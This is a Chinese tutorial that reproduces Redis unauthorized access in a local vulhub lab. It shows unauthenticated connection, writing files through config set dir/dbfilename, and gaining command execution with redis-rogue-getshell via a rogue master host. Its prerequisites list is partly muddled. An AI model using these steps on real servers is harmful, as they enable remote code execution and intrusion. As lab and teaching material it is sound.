redis未授权访问

文章目录

  • 搭建环境
  • 漏洞复现
  • 安装Exlopit并使用

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

搭建环境

输入下面命令,来到Redis的路径下:

cd vulhub/redis/4-unacc

然后输入下面命令,安装容器并启动

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装中:

redis未授权访问_第1张图片

安装完成并启动后查看容器状态:

sudo docker-compose ps -a

状态为已启动,redis的端口号是6379:

在这里插入图片描述

漏洞复现

用下面命令连接redis数据库,发现不需要账号密码,可以直接连接数据库:

redis-cli -h 127.0.0.1

说明redis存在未授权访问漏洞:

在这里插入图片描述

在数据库中用info命令查看数据库信息,可以查看:

redis未授权访问_第2张图片

然后在数据库中添加键值对和一个txt文件,并尝试访问文件,如果能访问成功,说明数据库有读写文件的权限。

新建键值对并查看

set name EMT
get name

执行命令后可以成功查看:
redis未授权访问_第3张图片

设置一个目录:

 config set dir /tmp/

设置新建一个文件:

 config set dbfilename EMT.txt

保存

save

如图,命令执行成功:

redis未授权访问_第4张图片

由于连接的是docker容器的数据库,所以我们可以在docker中查看刚刚新建的文件是否存在,首先登录容器:(-it后接的参数是容器的ID)

sudo docker exec -it 4-unacc-redis-1 /bin/bash

登录成功后用命令查看tmp目录下的文件是否创建成功:

ls /tmp

发现创建成功,说明redis数据库可以读取写入文件,这是redis存在的未授权访问漏洞:

在这里插入图片描述

安装Exlopit并使用

进入kali的tools目录下,执行下面命令,获取文件:

git clone https://github.com/vulhub/redis-rogue-getshell.git

下载完成后进入目录

cd redis-rogue-getshell/RedisModulesSDK

输入make进行编译,编译成功后会出现exp.so文件:

在这里插入图片描述

然后在redis-master.py的上级目录执行下面命令:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "id"

如图,获得了uid和组ID:

redis未授权访问_第5张图片

输入whoami命令查看:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

执行成功,回显出数据库的名字:

redis未授权访问_第6张图片

说明该漏洞可以用来获取数据库信息

你可能感兴趣的:(漏洞复现,网络安全,redis,数据库,缓存)